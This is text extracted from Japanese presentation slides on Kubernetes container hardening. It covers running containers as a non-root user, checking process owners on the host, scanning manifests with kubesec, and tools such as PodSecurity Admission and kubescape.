name: ubuntu-user01
spec:
containers:
- image: mochizuki875/ubuntu:20.04-runas
name: ubuntu-user01
securityContext:
runAsUser: 1000
runAsGroup: 1000
runAsNonRoot: true
Docker
fi
le(root)
Manifest(root)
Docker
fi
le(非root)
Manifest(非root)
コンテナ実行ユーザーを指定
コンテナ実行ユーザー(UID)を指定
加えてrootでの実行を禁止
コンテナの実行ユーザーについて(隔離性を高める設定の1つ)
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
81. # ps auxf
(略)
root 2298580 0.0 0.1 713320 11724 ? Sl 17:03 0:00 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id
86222752d6436332b01df7532206388e04bb0e404740de58e
root 2298607 0.0 0.0 964 4 ? Ss 17:03 0:00 _ /pause
root 2298704 0.0 0.0 2608 1660 ? Ss 17:03 0:00 _ /bin/sh -c while :; do sleep 10; done
root 2302816 0.0 0.0 2508 592 ? S 17:14 0:00 _ sleep 10
(略)
root 2298350 0.0 0.1 713320 11960 ? Sl 17:03 0:00 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id
0721217fc08a655c528a93581b7a35cadf9bf97cc82aea319
root 2298375 0.0 0.0 964 4 ? Ss 17:03 0:00 _ /pause
user01 2298414 0.0 0.0 2608 1756 ? Ss 17:03 0:00 _ /bin/sh -c while :; do sleep 10; done
user01 2302835 0.0 0.0 2508 592 ? S 17:14 0:00 _ sleep 10
(略)
# kubectl get po
NAME READY STATUS RESTARTS AGE
ubuntu-root 1/1 Running 0 15m
ubuntu-user01 1/1 Running 0 16m
rootで実行したコンテナのプロセス
(ubuntu-root)
非rootで実行したコンテナのプロセス
(ubuntu-user01)
これは、コンテナとコンテナホスト上でのコンテナプロセスの実行ユーザーがイコールになることにより、
rootユーザーで実行したコンテナがコンテナホスト上でrootプロセスとして実行されることになるためです。
(権限隔離の観点でコンテナの隔離性を損なう)
コンテナ起動状況
コンテナホスト上でのプロセス確認
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
実際にコンテナを起動させ、コンテナホスト上でプロセスの実行ユーザーを確認すると、
確かにコンテナの実行ユーザーとプロセスの実行ユーザーが一致していることが分かります。
※これは2021年11月現在、コンテナとホストのUser Namespaceが共通であるという仕組みによるもの
85. Kubesecを用いてKubernetes Manifestをスキャンすることで、以下のようにコンテナ起動設定の評価を行うことができます。
今回の攻撃の主要因となったPrivileged設定がCriticalで検知されている他、
隔離性を高めるための推奨設定がadviseとして検知されていることが分かります。
$ kubesec scan web-insecure-pod.yml
[
{
"object": "Pod/web-insecure.default",
"valid": true,
"
fi
leName": "web-insecure-pod.yml",
"message": "Failed with a score of -30 points",
"score": -30,
"scoring": {
"critical": [
{
"id": "Privileged",
"selector": "containers[] .securityContext .privileged == true",
"reason": "Privileged containers can allow almost completely unrestricted host access",
"points": -30
}
],
"advise": [
{
"id": "ApparmorAny",
"selector": ".metadata .annotations ."container.apparmor.security.beta.kubernetes.io/nginx"",
"reason": "Well de
fi
ned AppArmor policies may provide greater protection from unknown threats. WARNING: NOT PRODUCTION READY",
"points": 3
},
・
・
・
{
"id": "ReadOnlyRootFilesystem",
"selector": "containers[] .securityContext .readOnlyRootFilesystem == true",
"reason": "An immutable root filesystem can prevent malicious binaries being added to PATH and increase attack cost",
"points": 1
},
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
86. No 対策 詳細
1 不要な設定を行わない
Kubernetesでは特に設定を行わなくても最低限の隔離性は担保される
※特に意味を理解せず設定を追加するとコンテナの隔離性を低下させる恐れがある
2 より隔離性を高める設定
プラクティスを参考により隔離性を高めるための設定を追加する
コンテナの実行ユーザーを非rootに設定する
3 起動設定のスキャン 隔離性を低下させる危険な設定がないかツールを用いて確認する
セキュリティ対策まとめ
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
87. PodSecurity Admission
KubernetesのPod Security Standerdに準拠したPodのみデプロイを許可する機能。
Kubernetes v1.22時点でalpha機能として実装された。
https://kubernetes.io/docs/concepts/security/pod-security-admission/
kubescape
稼働中のPodがNSA CISA Kubernetes Hardening Guidanceの項目に準拠しているかを検査するツール。
https://github.com/armosec/kubescape
その他にも最近開発が進んでいるコンテナの隔離性確保を補助するツールとして以下のものがあります。
(参考)
3.3. コンテナセキュリティの考え方 -コンテナ- 対策